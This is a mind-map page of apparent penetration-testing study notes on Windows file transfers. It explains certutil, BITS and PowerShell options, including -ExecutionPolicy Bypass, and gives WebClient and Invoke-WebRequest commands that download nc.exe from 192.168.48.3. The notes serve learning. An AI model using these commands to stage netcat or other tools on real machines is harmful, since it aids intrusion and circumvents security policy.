Please enable JavaScript.

Coggle requires JavaScript to display documents.

File Transfers - Coggle Diagram

- - - - certutil: Command-line tool for handling certificates (but often used by attackers or admins to download files).
      - -urlcache: Tells certutil to use the URL cache functionality (used here for downloading).
      - -split: Optional — used to download large files in chunks (some say it's not always needed).
      - -f: Force overwrite if the file already exists.
  - - - create a download job
    - - add our file to the job
    - - begin transferring the files
    - - check the status
  - - - powershell.exe: Launches a PowerShell session from the command line.
      - -ExecutionPolicy Bypass: Temporarily changes the PowerShell execution policy to Bypass, which allows scripts to run regardless of the current policy. This is commonly used to bypass restrictions on running unsigned scripts. It's important to note that this only applies for the current session, and once the session ends, the default execution policy is restored.
      - -NoLogo: Suppresses the PowerShell logo from displaying when the PowerShell session starts.
      - -NonInteractive: Prevents PowerShell from asking for user input during execution (useful for automated or batch scripts). Any prompts will be automatically rejected.
      - -NoProfile: Prevents PowerShell from loading the user profile scripts. This is used to speed up the script execution by skipping any user-specific configurations or functions that are loaded at the start.
      - -File .\wget.ps1: Specifies the PowerShell script (wget.ps1) to execute. The script will be run in the current directory (.\ means the current directory).
    - - (New-Object System.Net.WebClient): Creates a new instance of the WebClient class, which is a simple way to handle web requests in PowerShell. It's used here to download the file.
        .DownloadFile('http://192.168.48.3/nc.exe', 'nc.exe'): This method downloads the file from the provided URL (http://192.168.48.3/nc.exe) and saves it as nc.exe in the current directory (nc.exe).
    - - Invoke-WebRequest: A cmdlet in PowerShell used to send HTTP requests to a specified URI. It's commonly used for downloading files, sending web requests, or interacting with REST APIs.
      - -URI http://192.168.48.3/nc.exe: The URI (Uniform Resource Identifier) of the file you want to download. In this case, the file nc.exe is hosted on a server at http://192.168.48.3.
      - -OutFile nc.exe: The location and filename where the downloaded content will be saved locally. In this case, the file will be saved as nc.exe in the current directory.